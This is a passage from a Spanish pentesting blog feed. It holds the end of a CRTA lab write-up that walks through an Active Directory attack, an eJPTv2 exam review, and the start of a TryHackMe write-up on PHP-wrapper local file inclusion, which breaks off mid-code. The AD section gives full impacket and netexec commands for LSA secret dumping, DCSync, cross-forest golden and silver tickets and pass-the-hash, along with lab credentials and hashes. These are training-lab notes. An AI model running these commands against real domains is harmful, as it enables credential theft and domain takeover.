<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nxc smb ips_interna.txt <span class="nt">-u</span> <span class="s2">"john"</span> <span class="nt">-p</span> <span class="s2">"User1@#</span><span class="nv">$%</span><span class="s2">6"</span> <span class="nt">--rid-brute</span>
</code></pre></div></div>

<blockquote>
  <p>Destacan: <span style="color:blue">corpmngr</span> y <span style="color:blue">krbtgt</span></p>
</blockquote>

<blockquote>
  <p>Más tarde los veremos por otro lado.</p>
</blockquote>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260623223805.png" alt="" /></p>

<h3 id="resolución-nombres-local">RESOLUCIÓN NOMBRES LOCAL</h3>
<p>Antes que nada vamos al fichero <span style="color:lightblue">/etc/</span><strong>hosts</strong> para asociar las IPs a los nombres, FQDN o nombre de dominio. Y no tener que recordar las IPs a cada rato. (Pondremos el del DC y CDC)</p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260624213947.png" alt="" /></p>

<h3 id="acceso-remoto-con-psexec">ACCESO REMOTO CON PSEXEC</h3>
<p>Como tenemos un usuario con privilegios sobre el equipo MGMT usaremos <em>psexec</em> para entrar y estar como <span style="color:blue">authority\system</span> por si hay algo relevante.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>impacket-psexec child.warfare.corp/john@192.168.98.30
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260622010854.png" alt="" /></p>

<p>Dentro podemos listar los usuarios del dominio. Como este Equipo (MGMT) esta unido al dominio cdc.child.warfare.corp -&gt; 192.168.98.120 pues nos sale sus usuarios.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>net <span class="nb">users</span> /dom
</code></pre></div></div>

<p>Destacan: <span style="color:blue">corpmngr</span> y <span style="color:blue">krbtgt</span></p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260622011010.png" alt="" /></p>

<h3 id="hashes-dump-sam-and-lsa-secrets-dump">HASHES DUMP :SAM AND LSA SECRETS DUMP</h3>
<p>Como tenemos un usuario válido a nivel dominio con privilegios, vamos a probar de varias formas a dumpear los hashes NTLM o aes256 de los usuarios a nivel dominio y local.</p>

<p>La primera forma sin usar mimikatz, es usar <em>SecretsDump</em>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>impacket-secretsdump <span class="s1">'child.warfare.corp/jonh:User4&amp;*&amp;*'</span>@192.168.98.30
</code></pre></div></div>

<p>Vemos las credenciales <code class="language-plaintext highlighter-rouge">corpmngr:User4&amp;*&amp;*</code> en texto claro en el campo <strong><code class="language-plaintext highlighter-rouge">_SC_SNMTRAP</code></strong> porque es el nombre con el que Windows guarda la contraseña del servicio legítimo “SNMP Trap” dentro del almacén de seguridad del LSA.</p>

<p>El administrador configuró ese servicio para que funcionara con una cuenta de usuario del dominio (<code class="language-plaintext highlighter-rouge">corpmngr</code>) y Windows guardó la contraseña en el LSA para poder iniciar el servicio automáticamente.</p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260622012829.png" alt="" /></p>

<blockquote>
  <p><span style="color:blue">corpmngr</span>:<span style="color:darkred">User4&amp;<em>&amp;</em></span></p>
</blockquote>

<p>La segunda forma sin usar mimikatz, es usando <em>netexec</em>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nxc smb 192.168.98.30 <span class="nt">-d</span> child.warfare.corp <span class="nt">-u</span> john <span class="nt">-p</span> <span class="s1">'User4&amp;*&amp;*'</span> <span class="nt">--lsa</span>
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260622012851.png" alt="" /></p>

<p>Ahora validaremos dichas credenciales para ver en que Equipo del dominio son válidas.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nxc smb ips_internas.txt <span class="nt">-u</span> <span class="s2">"corpmngr"</span> <span class="nt">-p</span> <span class="s2">"User4&amp;*&amp;*"</span>
</code></pre></div></div>

<p>Como vimos anteriormente listando los usuarios del dominio, este usuario era del <code class="language-plaintext highlighter-rouge">child.warfare.corp</code> o <code class="language-plaintext highlighter-rouge">CDC</code>. Aparte que tenemos permisos privilegiados en este equipo.</p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260622013122.png" alt="" /></p>

<h3 id="goldent-ticket-cross-forest">GOLDENT TICKET: CROSS FOREST</h3>
<p>Como tenemos una relación de confianza en el bosque <strong>Child</strong> y <strong>Parent</strong>; Lo que podemos hacer a continuación es crear nuestro propio TGT - <em>Ticket Grating Ticket</em> (<em>Golden Ticket</em>) para autenticarnos en contra el DC01 sin conocer la cotraseña del Administrador.</p>

<p>Como es una relación de confianza, el usuario <code class="language-plaintext highlighter-rouge">krbtgt</code> que se encarga de firmar estos tickets pues al obtener su hash NTLM y firmar nuestro propio ticket lo usaremos para autenticarnos en el DC01 y al ser esto dicha relación, este se va a fiar.</p>

<h3 id="dcsync-attack-krbtgt-hash-ntlm">DCsync Attack: KRBTGT HASH NTLM</h3>
<p>Como tenemos las credenciales del usuario <span style="color:blue">corpmngr</span> y aparentemente indica su nombre, es el manager del dominio, si es así, puede que tenga activado el protocolo <strong>MS-DRSR</strong> <em>(Microsoft Directory Replication Service (DRS) Remote Protocol)</em> permitiéndonos realizar el ataque <em>DCsynC</em>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>impacket-secretsdump <span class="s1">'child.warfare.corp/corpmngr:User4&amp;*&amp;*'</span>@192.168.98.120
</code></pre></div></div>

<p>Dumpeando la base de datos <strong>NTDS.dit</strong> mediante el método <strong>DRSUAPI</strong>, obteniendo el hash NTLM del usuario <span style="color:blue">krbtgt</span>.</p>

<p>NTLM Hash: <span style="color:gold">e57dd34c1871b7a23fb17a77dec9b900</span></p>

<p>Aes256: <span style="color:gold">ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c1<br />
0ab1031da11152611b2</span></p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260622015133.png" alt="" /></p>

<h3 id="domains-sid-child-and-parent">DOMAIN’S SID: CHILD and Parent</h3>
<p>Seguidamente con la herramienta <em>lookupsid</em> necesitaremos saber el SID del dominio Child y Parent.</p>

<p>Child SID Domain: <span style="color:yellow">S-1-5-21-3754860944-83624914-1883974761</span></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>impacket-lookupsid <span class="s1">'child.warfare.corp/corpmngr:User4&amp;*&amp;*'</span>@192.168.98.120
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260622015752.png" alt="" /></p>

<p>Parent SID Domain: <span style="color:yellow">S-1-5-21-3375883379-808943238-3239386119</span></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>impacket-lookupsid <span class="s1">'child.warfare.corp/corpmngr:User4&amp;*&amp;*'</span>@192.168.98.2
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260622020107.png" alt="" /></p>

<h3 id="crear-tgt-ticket-grating-ticket-golden-ticket">CREAR TGT (Ticket Grating Ticket): GOLDEN TICKET</h3>
<p>Con <em>ticketer</em> crearemos nuestro <span style="color:gold">Golden Ticket</span> con los valores recolectados para el usuario <span style="color:blue">corpmngr</span>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>impacket-ticketer <span class="nt">-domain</span> child.warfare.corp <span class="nt">-aesKey</span> ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2 <span class="nt">-domain-sid</span> S-1-5-21-3754860944-83624914-1883974761 <span class="nt">-groups</span> 516 <span class="nt">-user-id</span> 1106 <span class="nt">-extra-sid</span> S-1-5-21-3375883379-808943238-3239386119-516,S-1-5-9 <span class="s1">'corpmngr'</span>

<span class="c"># -aesKey -&gt; Hash aes256 de krbtgt</span>
<span class="c"># -domain-sid -&gt; sid del domain child</span>
<span class="c"># -extra-sid -&gt; sid del domain parent</span>
<span class="c"># -groups 516 -&gt; Grupo "Domain Controllers"</span>
<span class="c"># -516 -&gt; Identificador del grupo de "Domain Controllers"</span>
<span class="c"># -user-id 1106 -&gt; Quien esta creando el ticket</span>
<span class="c"># S-1-5-9 -&gt; Permite autenticarse usando la relación de confianza con este ticket</span>
<span class="c"># 'corpmngr' -&gt; El nombre del usuario para el que se va a crear el ticket falso (puede ser inventado o real) </span>
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260624215728.png" alt="" /></p>

<h3 id="exportar-ticket-en-variable-cargar-ticket-en-memoria">EXPORTAR TICKET EN VARIABLE: CARGAR TICKET EN MEMORIA</h3>
<p>Nos dejará el ticket TGT: <span style="color:gold">corpmngr.ccache</span></p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260624214043.png" alt="" /></p>

<p>Cargaremos en memoria el ticket, mediante la siguiente variable:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">export </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>corpmngr.ccache
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260624214059.png" alt="" /></p>

<h3 id="solicitar-tgs-ticket-grating-service-silver-ticket">SOLICITAR TGS (Ticket Grating Service): Silver Ticket</h3>
<p>Ahora con <em>getST</em> solicitaremos un TGS para el servicio <strong>CIFS</strong> (Common Internet File System / SMB) del DC01 para poder usarlo seguidamente en un DCsync.</p>

<p>Usando el TGT creado anteriormente.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>impacket-getST <span class="nt">-spn</span> <span class="s1">'CIFS/dc01.warfare.corp'</span> <span class="nt">-k</span> <span class="nt">-no-pass</span> <span class="s1">'child.warfare.corp/corpmngr'</span> <span class="nt">-debug</span>
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260624215852.png" alt="" /></p>

<h3 id="exportar-ticket-en-variable-cargar-ticket-en-memoria-1">EXPORTAR TICKET EN VARIABLE: CARGAR TICKET EN MEMORIA</h3>
<p>Nos dejará el ticket TGS - Silver Ticket: <span style="color:gold">corpmngr@CIFS_dc01.warfare.corp@WARFARE.CORP.ccache</span></p>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260624220000.png" alt="" /></p>

<p>Cargaremos en memoria el ticket, mediante la siguiente variable:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">export </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>corpmngr@CIFS_dc01.warfare.corp@WARFARE.CORP.ccache
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260624220009.png" alt="" /></p>

<h3 id="dumpear-administrator-hash-ntlm-dcsync">Dumpear Administrator Hash NTLM: DCsync</h3>
<p>Con <strong>SecrectsDump</strong> realizo el ataque DCsync dumpeando la base de datos <strong>NTDS.dit</strong>, obteniendo los hashes de <span style="color:blue">Administrator</span> del <em>DC01</em> mediante el <em>Ticket Grating Service</em> (Silver Ticket) del servicio CIFS previamente exportado a la la variable y cargarlo en memoria.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>impacket-secretsdump <span class="nt">-k</span> <span class="nt">-no-pass</span> dc01.warfare.corp <span class="nt">-just-dc-user</span> <span class="s1">'warfare\Administrator'</span> <span class="nt">-debug</span>
</code></pre></div></div>

<blockquote>
  <p>warfare -&gt; la primera palabra del dominio DC01 -&gt; warfare.corp</p>
</blockquote>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260624220150.png" alt="" /></p>

<h3 id="conectarse-en-remoto-pass-the-hash-pth">CONECTARSE EN REMOTO: Pass The Hash (PTH)</h3>
<p>De primeras con <strong>netexec</strong> válido las credenciales mediante un Pass The Hash sin necesidad de conocer la contraseña. Lo son, y como es Administrator, tengo permisos privilegiados.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nxc smb dc01.warfare.corp <span class="nt">-u</span> <span class="s1">'Administrator'</span> <span class="nt">-H</span> <span class="s1">'a2f7b77b62cd97161e18be2ffcfdfd60'</span>  
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260624220542.png" alt="" /></p>

<p>Con <strong>psexec</strong> nos autenticaremos como dicho Administrator haciendo un <em>Pass The Hash PTH</em>  sin necesidad de conocer la contraseña, solo con el hash.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>impacket-psexec <span class="nt">-debug</span> <span class="s1">'warfare/Administrator@dc01.warfare.corp'</span> <span class="nt">-hashes</span> aad3b435b51404eeaad3b435b51404ee:a2f7b77b62cd97161e18be2ffcfdfd60

impacket-psexec <span class="nt">-debug</span> <span class="s1">'dc01.warfare.corp/Administrator'</span>@192.168.98.2 <span class="nt">-hashes</span> <span class="s1">':a2f7b77b62cd97161e18be2ffcfdfd60'</span>

impacket-psexec <span class="nt">-debug</span> <span class="s1">'Administrator'</span>@192.168.98.2 <span class="nt">-hashes</span> <span class="s1">':a2f7b77b62cd97161e18be2ffcfdfd60'</span>
</code></pre></div></div>

<p>Convirtiéndonos en <span style="color:blue">Authority System</span> del <em>DC01</em>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Mirar apodo del equipo actual</span>
<span class="nb">hostname</span>

<span class="c"># Mirar usuario actual de la sesión</span>
<span class="nb">whoami</span>
</code></pre></div></div>

<p><img src="/assets/images/cwl-writeup-crta/Pasted image 20260624221301.png" alt="" /></p>]]></content><author><name>pabloVentx</name></author><category term="CyberWarfareLabs" /><category term="Pentesting" /><category term="Active Directory" /><category term="writeup" /><category term="CRTA" /><category term="HackingWeb" /><category term="RCEvia-EmailTXT" /><category term="EscaladaPrivilegios" /><category term="Sudo" /><category term="InformationLekeage" /><category term="Pivoting - LigoloNG" /><category term="DumpHashes" /><category term="SAMdump" /><category term="LSASecretsdump" /><category term="AbusingConfiguration-ReplicateDCSync" /><category term="GoldenTicket" /><category term="SilverTicket" /><category term="Cross-Forest" /><category term="PassTheHash" /><summary type="html"><![CDATA[Resolución del Laboratorio de la CRTA, donde el objetivo principal de esta Operación de Red Team es evaluar la postura de seguridad del entorno empresarial. Identificando vulnerablidades y configuraciones incorrectas en el entorno de Active Directory o web, proporcionando recomendaciones prácticas para mejorar la seguridad de la infraestructura.]]></summary></entry><entry><title type="html">Mi experiencia con la certificación eJPTv2</title><link href="https://pabloventx.github.io/rvw-ejptv2/" rel="alternate" type="text/html" title="Mi experiencia con la certificación eJPTv2" /><published>2026-06-07T00:00:00+00:00</published><updated>2026-06-07T00:00:00+00:00</updated><id>https://pabloventx.github.io/rvw-ejptv2</id><content type="html" xml:base="https://pabloventx.github.io/rvw-ejptv2/"><![CDATA[<p><img src="/assets/images/rvw-ejptv2/Pasted image 20260608213142.png" alt="" /></p>

<h2 id="certificación-ejptv2">CERTIFICACIÓN eJPTv2</h2>

<h4 id="mi-experiencia-personal">MI EXPERIENCIA PERSONAL</h4>

<p>El día de ayer 07/06/2026 decidí afrontar una vez por todas la certificación eJPTv2 <strong>(eLearnSecurity Junior Penetration Tester)</strong>. En cierto modo tenía respeto a la misma debido a que tras haber cumplido un año estudiando ciberseguridad enfocado en el campo de Pentesting, iba a ser mi primer examen en un “entorno real”.</p>

<p>De normal si estas acostumbrado al típico challenge o CTF donde solo hay una máquina vulnerable, y no a varias maquinas con ciertas vulnerabilidades con muchos puertos abiertos a la vez, puede que te abrume verlo de primeras, igual que me paso a mí.</p>

<p>La certificación es totalmente asequible y la recomiendo para quien este dispuesto a sacarse su primera certificación de Pentesting y empezar su camino hacia certificaciones más difíciles. Sin embargo, si estás empezando recientemente en esto de la ciberseguridad y las redes, no te lo recomiendo en absoluto. Ya que se toca el tema de “Pivoting” y puede parecer confuso al principio.</p>

<p>Lo primordial es tener una base sobre como funcionan las redes, moverte por una terminal o para uso de gestión del sistema a nivel de comandos. Entre otras cosas.</p>

<h4 id="como-es-el-examen">¿COMO ES EL EXAMEN?</h4>
<p>El examen es 100% práctico y consta de 45 preguntas, teniendo un total de 48 horas para abordar el examen. En mi caso empecé el examen a las 10:30 AM y en unas 3h  ya tenía más de la mitad de las preguntas contestadas. Y sobre las 18:00 PM con un total de 5h - 5h y 30 min, conseguí completar y aprobar el examen con un 86%.</p>

<p>Lo primero que cabe recalcar es de que el examen te pone de objetivo vulnerar una DMZ <strong>(DeMilitarized Zone)</strong>. Con varias máquinas, las cuales tendrán sus respectivas preguntas a seguir y tendrás que cumplir con el máximo número de requisitos (respuestas) posibles, necesitando mínimo un 70% para aprobar el examen.</p>

<p>En mi opinión no es un examen CTF como tal, si no más bien un “reto de enumeración” y recolectar la máxima información posible.</p>

<p>En algunos casos puede que creas que es por un lado pero realmente estés en un <code class="language-plaintext highlighter-rouge">rabbit hole</code>.
Hay que tener cuidado con eso, y estar muy atento a las preguntas.</p>

<p>He aprendido muchas cosas mientras resolvía el laboratorio. Puede que falles en ciertos puntos, pero a base de prueba/error se saca muy fácil.</p>

<h4 id="conclusión-examen-difícil">CONCLUSIÓN: ¿EXAMEN DIFÍCIL?</h4>
<p>El examen no es para nada difícil teniendo en cuenta lo que mencioné al principio. Mi consejo de oro: Independientemente de saber que herramientas vas a tener que usar y el temario de INE o el que hayas estudiado/practicado por tu cuenta (Vídeos, CTFs, etc.), es entender la lógica del examen y saber que herramienta emplear o hacia donde moverte todo momento.</p>

<p>También es importante tener unos buenos apuntes, por ejemplo, en obsidian ya que te ahorrará mucho tiempo y no tendrás que escribir las sintaxis de las herramientas a mano.</p>

<p>Ánimo.</p>]]></content><author><name>pabloVentx</name></author><category term="Certificacion" /><category term="Pentesting" /><category term="Examen" /><category term="Reseña" /><category term="eJPTv2" /><category term="INE" /><summary type="html"><![CDATA[Hace poco me he sacado la certificación eJPTv2. En este post explicaré mi punto de vista sobre mi experiencia.]]></summary></entry><entry><title type="html">Archangel - TryHackMe</title><link href="https://pabloventx.github.io/thm-writeup-Archangel/" rel="alternate" type="text/html" title="Archangel - TryHackMe" /><published>2026-03-27T00:00:00+00:00</published><updated>2026-03-27T00:00:00+00:00</updated><id>https://pabloventx.github.io/thm-writeup-Archangel</id><content type="html" xml:base="https://pabloventx.github.io/thm-writeup-Archangel/"><![CDATA[<p><img src="/assets/images/thm-writeup-archangel/8_arch.png" alt="" /></p>

<h2 id="write-up">WRITE UP</h2>
<p>IP VÍCITMA-&gt;  10.128.138.75  (TTL 62) LINUX</p>

<h3 id="reconocimiento">RECONOCIMIENTO</h3>

<p>Lo primero que vamos hacer es crear nuestro entorno de trabajo: <span style="color:lightblue">Gallery</span></p>

<p>Dentro usaremos la herramienta de s4vitar <em>mkt</em> cual nos generara las carpetas necesarias para tener todo más organizado; <strong>Nmap…</strong></p>

<p>Para empezar el reconocimiento, enviamos una traza ICMP a la <span style="color:red">IP</span> de la maquina víctima, para comprobar que tenemos conectividad, tenemos dos alternativas:</p>

<p>-Usar el script <em>whichSystem</em> que nos dirá directamente el equipo al que estamos atacando, por ende habrá tenido ping para dar la respuesta. Es más silencioso que nmap.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>whichSystem 10.128.138.75
</code></pre></div></div>

<p><img src="/assets/images/thm-writeup-archangel/1_arch.png" alt="" /></p>

<p>-Usar el comando <em>ping</em>:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ping <span class="nt">-R</span> 10.128.138.75 <span class="nt">-c1</span>
<span class="c"># -R Lo que hace es un record route que consiste que a la hora de hacer la petición se lo envía a un nodo intermediario para que no sea directa la petición.</span>
</code></pre></div></div>

<p><img src="/assets/images/thm-writeup-archangel/2_arch.png" alt="" /></p>

<p>Después de confirmar que tenemos conectividad, usaremos <strong>nmap</strong> para a ver que puertos tenemos abiertos y que protocolos/servicios tenemos.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-p-</span> <span class="nt">--open</span> <span class="nt">-sS</span> <span class="nt">--min-rate</span> 5000 <span class="nt">-n</span> <span class="nt">-Pn</span> <span class="nt">-vvv</span> 10.128.138.75 <span class="nt">-oG</span> allPorts
<span class="c"># Veremos porque el formato grepeable, es importante.</span>
</code></pre></div></div>

<p><img src="/assets/images/thm-writeup-archangel/3_arch.png" alt="" /></p>

<p>Una vez hecho, usaremos otra herramienta de s4vitar <em>extractports</em> al archivo allPorts
cual nos copiara los puertos, y escanearlos con nmap.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>extractports allPorts
</code></pre></div></div>

<p><img src="/assets/images/thm-writeup-archangel/4_arch.png" alt="" /></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sVC</span> <span class="nt">-p22</span>,80 10.128.138.75 <span class="nt">-oN</span> targeted
<span class="c">#  El formato -oN lo emplearemos con batcat lenguaje java para verlo mejor</span>
<span class="c">#  Nos mostrará la versión de los servicios que están corriendo</span>
<span class="c">#  Usará scripts defaults definidos en lua</span>
</code></pre></div></div>

<p><img src="/assets/images/thm-writeup-archangel/5_arch.png" alt="" /></p>

<p>Una vez escaneado, usaremos batcat:</p>
<blockquote>
  <p>https://github.com/sharkdp/bat.git</p>
</blockquote>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>batcat targeted <span class="nt">-l</span> java
<span class="c"># Nos mostrara la salida en un formato más bonito, con java</span>
</code></pre></div></div>

<p><img src="/assets/images/thm-writeup-archangel/6_arch.png" alt="" /></p>

<h3 id="reconocimiento-ssh">RECONOCIMIENTO: SSH</h3>

<p>Como tenemos el protocolo de <strong>ssh</strong> abierto con <em>searchsploit</em> vamos a a buscar por la versión del openssh para ver si es vulnerable. Pero como sabemos, esta versión solo sirve para la enumeración de usuarios.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>searchsploit openssh 7.6p1
</code></pre></div></div>

<p><img src="/assets/images/thm-writeup-archangel/7_arch.png" alt="" /></p>

<p>Nos centraremos en otras cosas, a ver si más adelante obtenemos alguna credencial válida.</p>

<h3 id="análisis-web-reconocimiento">ANÁLISIS WEB: RECONOCIMIENTO</h3>
<p>Usamos <em>whatweb</em> para hacer un pequeño reconocimiento a nivel web, para ver que tecnologías y demás que usa.</p>

<p>Es igual que la extensión <span style="color:lightyellow">Wappalyzer</span> pero en vez de gráfico por terminal.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>whatweb http://10.128.138.75/
</code></pre></div></div>

<p><img src="/assets/images/thm-writeup-archangel/9_arch.png" alt="" /></p>

<p>Al entrar en la página principal, veremos un dominio cual nos podría interesar, para una posible página externa o Fuzzing para encontrar subdominios, probaremos lo primero.</p>

<p>Dominio: <mark style="background: #FFF3A3A6;">mafialive.thm</mark></p>

<p><img src="/assets/images/thm-writeup-archangel/10_arch.png" alt="" /></p>

<p>Podríamos usar también la extensión <span style="color:lightyellow">Wappalyzer</span> que es lo mismo que <strong>whatweb</strong>, pero en vez de terminal, por gráfico.</p>

<p><img src="/assets/images/thm-writeup-archangel/11_arch.png" alt="" /></p>

<h3 id="acceso-al-dominio-web-mafiathm">ACCESO AL DOMINIO WEB: MAFIA.THM</h3>
<p>Si probamos a poner el dominio en el navegador nos dirá que no se ha podido encontrar. Esto quiere decir que nuestra red a nivel de sistema no reconoce el dominio ya que no lo asocia a ninguna IP.</p>

<p><img src="/assets/images/thm-writeup-archangel/12_arch.png" alt="" /></p>

<h3 id="virtual-hosting">VIRTUAL HOSTING</h3>
<p>Para solucionar esto, nos vamos al fichero <span style="color:lightblue">/etc/</span><span style="color:grey">hosts</span>, y añadimos el dominio:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>10.128.138.75 mafialive.thm
</code></pre></div></div>

<p><img src="/assets/images/thm-writeup-archangel/13_arch.png" alt="" /></p>

<p>Ahora, si volvemos a cargar el dominio web, nos podrá encontrar la página. Encontraremos la primera bandera.</p>

<p><img src="/assets/images/thm-writeup-archangel/14_arch.png" alt="" /></p>

<h3 id="fuzzing-directorios-a-nivel-web">FUZZING: DIRECTORIOS A NIVEL WEB</h3>
<p>Como nos dice que sigamos buscando, Con la herramienta <em>ffuf</em> haremos Fuzzing para descubrir directorios y vhosts(subdominios) a nivel web potenciales para encontrar algo de información.</p>

<h3 id="directorios">DIRECTORIOS</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gobuster <span class="nb">dir</span> <span class="nt">-u</span> http://mafialive.thm/ <span class="nt">-w</span> /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt <span class="nt">--no-error</span> <span class="nt">-x</span> .txt .php .xml .html .htm .zip .kdbx .db .log <span class="nt">-t</span> 100
</code></pre></div></div>

<p><img src="/assets/images/thm-writeup-archangel/15_arch.png" alt="" /></p>

<h3 id="robotstxt">ROBOTS.TXT</h3>
<p>Nos detectará el archivo <strong>robots.txt</strong>. Este fichero es importante ya que nos dice que rutas podemos ver y cuales no.</p>

<p><img src="/assets/images/thm-writeup-archangel/16_arch.png" alt="" /></p>

<p>En este caso nos dice que podemos acceder a <span style="color:lightblue">/test.php</span>.</p>

<p><img src="/assets/images/thm-writeup-archangel/17_arch.png" alt="" /></p>

<h3 id="lfi-local-file-inclusion-path-traversal">LFI (LOCAL FILE INCLUSION): PATH TRAVERSAL</h3>
<p>Si colocamos la ruta <span style="color:lightblue">/test.php</span> en la raíz del dominio, nos llevará a la siguiente página.
Dirá que es de prueba y un botón inofensivo.</p>

<p><img src="/assets/images/thm-writeup-archangel/18_arch.png" alt="" /></p>

<p>Si le damos al botón para comprobar su funcionamiento, nos cargará un archivo interno a nivel sistema, cual contiene el mensaje a reflejar mediante el parámetro ‘<em>view</em>’.</p>

<p>Pero cuidado con esto, porque si nos enseña la ruta podríamos aplicar <strong>wrappers PHP</strong> para poder ver el código del php y ver como lo esta procesando.</p>

<p>URL ORIGINAL: <strong>/test.php?view=/var/www/html/development_testing/mrrobot.php</strong></p>

<p><img src="/assets/images/thm-writeup-archangel/19_arch.png" alt="" /></p>

<h3 id="burp-suite-análisis-peticiones-web">BURP SUITE: ANÁLISIS PETICIONES WEB</h3>
<h3 id="proxy">PROXY</h3>
<p>Con la extensión <span style="color:lightyellow">FoxyProxy</span> activaremos el proxy configurado de <strong>BurpSuite</strong> para poder capturar peticiones y que nos lleguen.</p>

<p><img src="/assets/images/thm-writeup-archangel/29_arch.png" alt="" /></p>

<p>En <em>Burp Suite</em> en el apartado “Proxy &gt; Intercept &gt; <strong>Intercept on</strong>” para activar que podamos interceptar peticiones.</p>

<p><img src="/assets/images/thm-writeup-archangel/30_arch.png" alt="" /></p>

<p>En la página web le damos al botón “<em>Here is a button</em>” y automáticamente interceptaremos la petición.</p>

<p><img src="/assets/images/thm-writeup-archangel/31_arch.png" alt="" /></p>

<h3 id="repeater">REPEATER</h3>
<p>Para empezar a jugar con la petición, nos la llevaremos al modo <strong>Repeater</strong>:</p>

<blockquote>
  <p>Sirve también presionando <code class="language-plaintext highlighter-rouge">Ctrl + R</code> .</p>
</blockquote>

<p><img src="/assets/images/thm-writeup-archangel/32_arch.png" alt="" /></p>

<p>En este modo, podemos ver la salida de la petición y sus respectivas cabeceras.</p>

<p><img src="/assets/images/thm-writeup-archangel/33_arch.png" alt="" /></p>

<h3 id="wrapper-php-sourcecodedisclosure">WRAPPER PHP: SourceCodeDisclosure</h3>
<p>Como podemos visualizar la ruta desde la cual se carga el archivo interno a nivel sistema a visualizar. Podremos probar un <em>wrapper de PHP</em> para ver el código del php encargado de procesar la salida de dicho archivo y ver que tipos de restricciones puede tener ante un <em>path traversal</em>.</p>

<blockquote>
  <p>complemento: <a href="https://blog.deephacking.tech/en/posts/exploiting-php-wrappers/">Ejemplos de wrappers de PHP</a></p>
</blockquote>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">WRAPPER</span><span class="w"> </span><span class="nx">PHP</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">usar:</span><span class="w"> 

</span><span class="n">http://www.mafialive.thm/test.php</span><span class="nf">?</span><span class="nx">view</span><span class="o">=</span><span class="nx">php://filter/convert.base64-encode/resource</span><span class="o">=</span><span class="n">/var/www/html/development_testing/mrrobot.php</span><span class="w">
</span></code></pre></div></div>

<p>Lo probaremos primero con el archivo interno que esta siendo cargado, <span style="color:grey">mrrobot.php</span> .</p>

<p><img src="/assets/images/thm-writeup-archangel/34_arch.png" alt="" /></p>

<p>Nos devolverá la salida codeada en base64 y si funciona, al descodificarlo, nos devolverá en una línea de php, el mensaje que vimos al principio sobre ‘Control is an illusion’.</p>

<p>Efectivamente, la podemos ver sin problemas.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s1">'PD9waHAgZWNobyAnQ29udHJvbCBpcyBhbiBpbGx1c2lvbic7ID8+Cg=='</span> | <span class="nb">base64</span> <span class="nt">-d</span>
</code></pre></div></div>

<p><img src="/assets/images/thm-writeup-archangel/35_arch.png" alt="" /></p>

<p>Ahora iremos a ver el código php que nos interesa. El <span style="color:grey">test.php</span> concretamente, ya que este es el que procesa todo lo que esta pasando por detrás.</p>

<p>Obtenemos la salida codeada en base64 (Se aprecia que nos devuelve más líneas).</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">WRAPPER</span><span class="w"> </span><span class="nx">PHP</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">usar:</span><span class="w"> 

